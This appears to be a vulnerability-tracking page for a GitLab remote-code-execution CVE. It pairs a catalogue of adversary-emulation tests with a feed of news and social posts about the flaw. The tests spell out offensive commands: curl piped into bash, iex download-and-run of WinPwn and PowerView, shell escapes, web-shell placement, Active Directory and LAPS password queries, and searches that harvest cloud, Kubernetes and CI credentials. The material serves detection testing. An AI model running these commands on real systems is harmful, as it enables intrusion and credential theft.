Command (Shell) 
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell) 
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell) 
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell) 
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell) 
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell) 
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell) 
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell) 
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell) 
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell) 
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell) 
cat /etc/shells
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell) 
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1087.002 Account Enumeration with LDAPDomainDump Linux Shell
This test uses LDAPDomainDump to perform account enumeration on a domain. [Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)
Command (Shell) 
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
T1087.002 Active Directory Domain Search Linux Shell
Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory
Command (Shell) 
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
T1087.002 Adfind - Enumerate Active Directory Admins Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD) 
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
T1087.002 Adfind - Enumerate Active Directory Exchange AD Objects Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD) 
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
T1087.002 Adfind - Enumerate Active Directory User Objects Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD) 
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
T1087.002 Adfind -Listing password policy Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy. reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD) 
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
T1087.002 Automated AD Recon (ADRecon) Windows PowerShell
ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its path will be displayed.
Command (PowerShell) 
Invoke-Expression "#{adrecon_path}"
T1087.002 Enumerate Active Directory Users with ADSISearcher Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell) 
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
T1087.002 Enumerate Active Directory Users with csvde Windows CMD
The following test uses csvde.exe to export a list of Active Directory users and their properties to a CSV file.
Command (CMD) 
csvde -f users.csv -r "(&(objectClass=user)(objectCategory=person))" -l "DN,sAMAccountName,userPrincipalName,mail,displayName,description,memberOf"
T1087.002 Enumerate Active Directory for Unconstrained Delegation Windows PowerShell
Attackers may attempt to query for computer objects with the UserAccountControl property 'TRUSTED_FOR_DELEGATION' (0x80000;524288) set More Information -...
Command (PowerShell) 
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
T1087.002 Enumerate Default Domain Admin Details (Domain) Windows CMD
This test will enumerate the details of the built-in domain admin account
Command (CMD) 
net user administrator /domain
T1087.002 Enumerate Linked Policies In ADSISearcher Discovery Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell) 
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002 Enumerate Root Domain linked policies Discovery Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell) 
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002 Enumerate all accounts (Domain) Windows CMD
Enumerate all accounts Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session
Command (CMD) 
net user /domain
net group /domain
T1087.002 Enumerate all accounts via PowerShell (Domain) Windows PowerShell
Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.
Command (PowerShell) 
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
T1087.002 Enumerate logged on users via CMD (Domain) Windows CMD
Enumerate logged on users. Upon exeuction, logged on users will be displayed.
Command (CMD) 
query user /SERVER:#{computer_name}
T1087.002 Get-DomainUser with PowerView Windows PowerShell
Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.
Command (PowerShell) 
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
T1087.002 Kerbrute - userenum Windows PowerShell
Enumerates active directory usernames using the userenum function of Kerbrute
Command (PowerShell) 
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
Get-ADComputer #{hostname} -Properties *
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002 Suspicious LAPS Attributes Query with adfind all properties Windows PowerShell
This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
T1087.002 Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd Windows PowerShell
This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002 Wevtutil - Discover NTLM Users Remote Windows PowerShell
This test discovers users who have authenticated against a Domain Controller via NTLM. This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)
Command (PowerShell) 
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
T1087.002 WinPwn - generaldomaininfo Windows PowerShell
Gathers general domain information using the generaldomaininfo function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
T1505.003 Web Shell Written to Disk Windows CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD) 
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001 Access Drone CI Config File Linux, macOS Shell
Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Gitlab CI Config File Linux, macOS Shell
Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Jenkinsfile Linux, macOS Shell
Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Travis CI Config File Linux, macOS Shell
Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD) 
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Dump GitHub Actions Runner Environment Variables from procfs Linux Bash
Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh) and reads their environment variables from /proc/<pid>/environ, filtering for keys containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests credentials and secrets...
Command (Bash) 
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash) 
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell) 
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell) 
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find .env Files Containing Application Credentials Linux, macOS Shell
Searches common web application and service directories for .env files (.env, .env.local, .env.production, .env.development, .env.staging) that may contain credentials such as API keys, database passwords, and service secrets. Adversaries targeting web servers or...
Command (Shell) 
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Docker credentials Linux, macOS Shell
Find local Docker credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find HashiCorp Vault token files Linux, macOS Shell
Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes cluster configuration files Linux Shell Privileged
Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to...
Command (Shell) 
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes user configuration files Linux, macOS Shell
Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.
Command (Shell) 
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find Terraform credential files Linux, macOS Shell
Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.
Command (Shell) 
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
T1552.001 Find and Access Github Credentials Linux, macOS Shell
Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find database credential files Linux, macOS Shell
Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.
Command (Shell) 
for filename in #{filenames}; do
  find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
T1552.001 Find npm registry credential files Linux, macOS Shell
Find .npmrc files, which may contain plaintext npm registry authentication tokens.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find system database configuration files Linux Shell Privileged
Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.
Command (Shell) 
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD) 
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell) 
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 Search for Git Credential Files Linux, macOS Shell
Searches the specified directory for a git credential file, which may contain plaintext credentials, access tokens, or credential helper configurations. Example files include .git-credentials and .gitconfig.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

News (1)

Mentions (50)

17 mentions from 13 sources in the last 7 days BuzzFactor 64 / 100

  • social bsky.app @techspeeltuin.bsky.social 2026-11-02 13:00 UTC
    Duizenden GitLab-servers missen patches voor kritieke lekken Ruim 11.300 via internet bereikbare GitLab -instances zijn kwetsbaar voor CVE-2026-110264, een lek waarmee een niet-geauthenticeerde aanvaller op afstand code kan uitvoeren. Lees…
    Open source
  • news techzine.eu 2026-11-02 10:04 UTC
    Thousands of GitLab servers still unpatched against critical vulnerabilities - Techzine Global
    Open source
  • social bsky.app @pmloik.bsky.social 2026-11-02 08:11 UTC
    Top 3 CVE for last 7 days: CVE-2026-98432: 538 interactions CVE-2026-109618: 160 interactions CVE-2026-111497: 148 interactions Top 3 CVE for yesterday: CVE-2026-98432: 44 interactions CVE-2026-97229: 13 interactions CVE-2026-110264: 9 int…
    Open source
  • social bsky.app @lasemanaphp.com 2026-11-02 08:03 UTC
    GitLab parchea un fallo con CVSS 10: ejecución remota sin autenticación en instalaciones autogestionadas desde la 7.0, de 2014. Si tienes GitLab propio, actualiza.
    Open source
  • social bsky.app @shadowserver.bsky.social 2026-11-01 20:50 UTC
    IP data in our Vulnerable HTTP reporting tagged 'cve-2026-97229' or 'cve-2026-110264': www.shadowserver.org/what-we-do/n... World Map view: dashboard.shadowserver.org/statistics/c... Tracker: dashboard.shadowserver.org/statistics/c... Patc…
    Open source
  • social bsky.app @shadowserver.bsky.social 2026-11-01 20:50 UTC
    We are currently tracking over 1000 GitLab instances vulnerable to CVE-2026-97229 (on @CISACyber KEV) and over 11300 instances vulnerable to CVE-2026-110264 (out of around 39K GitLab instances we see daily). Tree Map Dashboard stats (both…
    Open source
  • social news.ycombinator.com brene 2026-11-01 00:56 UTC
    GitLab critical patch release
    Open source
  • social mastodon.social @117493634493945266 2026-10-31 02:42 UTC
    GitLab CVE-2026-97229 — CVSS 10.0, KEV, exploited against Alpine Linux within a week of disclosure. Flaw: integer overflow in Ruby’s Onigmo regex engine via CI/CD config input → RCE as the git account. Key facts: → Oct 12 patch (19.4.2) is…
    Open source
  • social infosec.exchange @117354334421158714 2026-10-31 02:42 UTC
    GitLab CVE-2026-97229 — CVSS 10.0, KEV, exploited against Alpine Linux within a week of disclosure. Flaw: integer overflow in Ruby’s Onigmo regex engine via CI/CD config input → RCE as the git account. Key facts: → Oct 12 patch (19.4.2) is…
    Open source
  • social bsky.app @gridwatchsignal.bsky.social 2026-10-30 20:04 UTC
    New on CISA's KEV list (Oct 29): GitLab CE/EE CVE-2026-97229, unauthenticated RCE via a crafted CI/CD regex, CVSS 10.0. Deadline: Sun Nov 1. Self-managed? Go to 19.5.1, 19.4.3, 19.3.6, 19.2.9 or later. Those also fix related RCE CVE-2026-1…
    Open source
  • code github.com foxcornlab 2026-10-30 04:21 UTC
    foxcornlab/gitlab-onigmo-scanner
    Open source
  • social bsky.app @forsmile.jp 2026-10-30 02:51 UTC
    【緊急】GitLab に深刻な脆弱性（CVE-2026-97229 / CVSS 10.0） ログイン不要でサーバー上のコードを実行される恐れ。10/29にCISAが悪用確認済みに追加。 対処: 自分で運用するGitLabは最新のパッチ版へ。10/12の版では不十分です。 forsmile.jp/articles/git... #セキュリティ #CVE
    Open source
  • social bsky.app @cyfar.ca 2026-10-29 16:05 UTC
    ~Asec~ AI-driven attacks targeted exposed APIs, SaaS, and neglected perimeter systems in breaches across Korea and Japan. - IOCs: CVE-2026-110264, CVE-2026-111497, CVE-2026-109618 - #AgenticAI #DataBreach #ThreatIntel
    Open source
  • code github.com murat-levi 2026-10-29 10:39 UTC
    murat-levi/gitlab-rce-toolkit
    Open source
  • social bsky.app @light-cloud-com.bsky.social 2026-10-29 07:56 UTC
    GitLab's critical patch fixes 12 issues. The worst, CVE-2026-110264: unauthenticated code execution via the regex compiler, CVSS 10.0, back to 7.0. GitLab.com is patched. Self-managed: upgrade today. 🚨 https://docs.gitlab.com/releases/patc…
    Open source
  • social bsky.app @rodhat19.bsky.social 2026-10-28 20:15 UTC
    Got another unauthenticated CVSS 10.0 RCE in GitLab’s regex compiler — CVE-2026-110264. Follows quickly on heels of CVE-2026-97229. Old issues, new light. https://rodhat.com/motd/2026-10-28-gitlab-cve-2026-110264-regex-rce-twelve-years/
    Open source
  • social bsky.app @todd534.bsky.social 2026-10-28 16:50 UTC
    ok but i would like to see this one
    Open source
  • social bsky.app @lomerlin.bsky.social 2026-10-28 08:50 UTC
    #Cybersécurité | Une vulnérabilité critique affecte les instances #GitLab auto-hébergées sur 12 ans de versions, des correctifs publiés Baptisée CVE-2026-110264, cette vulnérabilité présente le plus haut score de criticité www.usine-digita…
    Open source
  • news shattered.io 2026-10-28 04:04 UTC
    GitLab RCE Hits CVSS 10.0, 7 Branches Patched [2026] - shattered.io
    Open source
  • social bsky.app @cyberhub.blog 2026-10-28 02:07 UTC
    📌 CVE-2026-110264 - An issue has been discovered in GitLab CE/EE affecting all versions from 7.0 before 18.11.13, 19.0 before 19.0.10, 19.1 before 19.1.9, 19.2 before 19.... https://www.cyberhub.blog/cves/CVE-2026-110264
    Open source
  • social bsky.app @hey-kira.bsky.social 2026-10-27 08:51 UTC
    On the runtime half of that: GitLab's 19.5.1 patch notes also list detection signals for CVE-2026-110264 on self-managed instances - Onigmo crashes and org-mode render errors. So logs can show attempted exploitation, not just your patch le…
    Open source
  • social bsky.app @cyberveille-ch.bsky.social 2026-10-26 21:00 UTC
    📢 GitLab : faille critique CVSS 10.0 (CVE-2026-110264) permettant l'exécution de code sans authentification The Hacker News, publié le 22 octobre 2026. GitLab a déployé le 21 octobre 2026 des correctifs pour une vulnérabilité critique… 🟡 v…
    Open source
  • social bsky.app @cyfar.ca 2026-10-26 20:02 UTC
    ~Checkpoint~ Widespread exploitation targets critical PHP flaws, while supply-chain attacks and AI-enabled campaigns expand. - IOCs: CVE-2026-109618, CVE-2026-109619, CVE-2026-110264 - #RCE #ThreatIntel #Vulnerabilities
    Open source
  • social bsky.app @alt.pds.lefht.cc 2026-10-26 18:15 UTC
    5. CVE-2026-110264 · 4 people 🟥 Critical 10.0 · GitLab Integer Overflow or Wraparound in GitLab
    Open source
  • social bsky.app @alt.pds.lefht.cc 2026-10-26 18:15 UTC
    🛡️ Most-discussed CVEs on Bluesky, last 24h 1. CVE-2026-111497 · 49 people 2. CVE-2026-109618 · 37 people 3. CVE-2026-109619 · 28 people 4. CVE-2026-115560 · 6 people 5. CVE-2026-110264 · 4 people 🔥 = on CISA's Known Exploited list · detai…
    Open source
  • social bsky.app @tellerstech.bsky.social 2026-10-26 16:57 UTC
    GitLab CVE-2026-110264 Lets Unauthenticated Attackers Run Code #gitlab #cybersecurity #devops #sre This is a clip from our recent Ship It Weekly Podcast episode. Visit shipitweekly.fm or link in bio to listen to the full episode!
    Open source
  • social bsky.app @patrickcmiller.bsky.social 2026-10-26 16:42 UTC
    Critical GitLab Flaw (CVSS 10.0) Could Allow Unauthenticated RCE Across 12 Years of Releases thehackernews.com/2026/10/crit...
    Open source
  • social bsky.app @lordman1982.bsky.social 2026-10-26 16:01 UTC
    Critical GitLab Flaw (CVSS 10.0) Could Allow Unauthenticated RCE Across 12 Years of Releases thehackernews.com/2026/10/crit...
    Open source
  • news thehackernews.com 2026-10-26 14:06 UTC
    ⚡ Weekly Recap: This2Shell, That2Shell, Everything's an RCE? Rogue AI, Supply Chain Chaos and More - The Hacker News
    Open source
  • social bsky.app @widefix.bsky.social 2026-10-26 13:24 UTC
    Following PHP steps, #ruby has decided to prevent the issues. Are you ready for the update? www.ruby-lang.org/en/news/2026...
    Open source
  • social bsky.app @whatsnew.fyi 2026-10-26 03:02 UTC
    Ruby: Regexp compilation fixes related to GitLab's CVE-2026-89078, CVE-2026-93577, CVE-2026-97229 and CVE-2026-110264 Fixes bugs in the Onigmo regex engine that allowed remote code execution on GitLab servers, covering four CVEs, with patc…
    Open source
  • social infosec.exchange @116797276219291526 2026-10-26 01:05 UTC
    Ruby security update 4.0.9, 3.4.12 and 3.3.13 fixes Onigmo regex bugs behind GitLab RCE flaws CVE-2026-110264 and CVE-2026-97229. Upgrade now. # Ruby # Onigmo # GitLab # CVE2026110264 # CVE202697229 # CVE202689078 # RCE # CyberSecurity htt…
    Open source
  • social bsky.app @securityonline.bsky.social 2026-10-26 01:05 UTC
    Ruby security update 4.0.9, 3.4.12 and 3.3.13 fixes Onigmo regex bugs behind GitLab RCE flaws CVE-2026-110264 and CVE-2026-97229. Upgrade now. #Ruby #Onigmo #GitLab #CVE2026110264 #CVE202697229 #CVE202689078 #RCE #CyberSecurity
    Open source
